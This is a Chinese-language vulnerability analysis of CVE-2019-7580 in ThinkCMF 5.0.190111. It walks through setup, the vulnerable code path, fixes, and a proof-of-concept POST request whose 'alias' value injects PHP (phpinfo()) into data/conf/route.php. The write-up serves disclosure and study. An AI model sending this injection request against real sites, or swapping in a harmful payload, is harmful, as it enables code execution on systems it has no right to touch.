某CMS-5.0.190111后台代码执行(CVE-2019-7580)
字数 972 2025-08-26 22:11:15

ThinkCMF 5.0.190111 后台代码执行漏洞(CVE-2019-7580)分析

漏洞概述

ThinkCMF 5.0.190111版本存在一个后台代码执行漏洞(CVE-2019-7580),攻击者可以通过构造特定的alias参数值,将恶意PHP代码写入data/conf/route.php文件,最终导致任意代码执行。

环境搭建

  1. 下载ThinkCMF 5.0.190111版本:

    https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip
    
  2. 将除public目录外的文件移动到ThinkCMF-5.0.190111目录下

  3. 修改index.php文件:

    define('CMF_ROOT', __DIR__ . '/ThinkCMF-5.0.190111/');
    
  4. 完成安装过程

漏洞利用过程

第一步:注入恶意代码

发送以下POST请求将payload插入数据库并写入data/conf/route.php文件:

POST /portal/admin_category/addpost.html HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=session_id; admin_username=admin

parent_id=0&name=111&alias=a'=>array(""),phpinfo(),'b

第二步:触发代码执行

访问以下URL触发包含data/conf/route.php的操作:

/portal/admin_category/index.html

漏洞分析

代码执行流程

  1. 请求入口index.php调用\think\App::run()
  2. 通过URL解析确定处理请求的控制器为AdminCategoryController.phpaddPost函数
  3. 反射执行addPost函数,获取请求参数并进行过滤
  4. 调用PortalCategoryModel.phpaddCategory函数执行实际添加分类操作

漏洞触发点

  1. addCategory函数中,通过setRoute函数对数据库进行插入操作
  2. 从数据库查询路由数据并生成$allroutes变量
  3. 创建data/conf目录并将路由配置写入route.php文件
  4. 关键问题:未对alias参数中的单引号进行过滤,导致可以闭合前后单引号插入恶意代码

文件写入过程

  1. 系统会先包含app/route.php
  2. 然后包含data/conf/route.php
  3. 最终执行注入的PHP代码

漏洞修复建议

  1. 对用户输入的alias参数进行严格过滤,特别是单引号等特殊字符
  2. 升级到最新版本的ThinkCMF
  3. 对写入配置文件的操作进行严格的输入验证

PoC示例

POST /portal/admin_category/addpost.html HTTP/1.1
Host: 192.168.170.209
Content-Length: 183
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=of2ar92rpeucrh4cg6s4t4dae6; admin_username=admin
Connection: close

parent_id=0&name=111&alias=1'=>array(""),phpinfo(),'2

后记

该漏洞是在复现CVE-2019-6713时发现的,通过分析file_put_contents调用和route.php文件的写入机制,最终定位到分类添加功能中的代码注入问题。

ThinkCMF 5.0.190111 后台代码执行漏洞(CVE-2019-7580)分析 漏洞概述 ThinkCMF 5.0.190111版本存在一个后台代码执行漏洞(CVE-2019-7580),攻击者可以通过构造特定的alias参数值,将恶意PHP代码写入 data/conf/route.php 文件,最终导致任意代码执行。 环境搭建 下载ThinkCMF 5.0.190111版本: 将除public目录外的文件移动到 ThinkCMF-5.0.190111 目录下 修改 index.php 文件: 完成安装过程 漏洞利用过程 第一步:注入恶意代码 发送以下POST请求将payload插入数据库并写入 data/conf/route.php 文件: 第二步:触发代码执行 访问以下URL触发包含 data/conf/route.php 的操作: 漏洞分析 代码执行流程 请求入口 index.php 调用 \think\App::run() 通过URL解析确定处理请求的控制器为 AdminCategoryController.php 的 addPost 函数 反射执行 addPost 函数,获取请求参数并进行过滤 调用 PortalCategoryModel.php 的 addCategory 函数执行实际添加分类操作 漏洞触发点 在 addCategory 函数中,通过 setRoute 函数对数据库进行插入操作 从数据库查询路由数据并生成 $allroutes 变量 创建 data/conf 目录并将路由配置写入 route.php 文件 关键问题:未对 alias 参数中的单引号进行过滤,导致可以闭合前后单引号插入恶意代码 文件写入过程 系统会先包含 app/route.php 然后包含 data/conf/route.php 最终执行注入的PHP代码 漏洞修复建议 对用户输入的 alias 参数进行严格过滤,特别是单引号等特殊字符 升级到最新版本的ThinkCMF 对写入配置文件的操作进行严格的输入验证 PoC示例 后记 该漏洞是在复现CVE-2019-6713时发现的,通过分析 file_put_contents 调用和 route.php 文件的写入机制,最终定位到分类添加功能中的代码注入问题。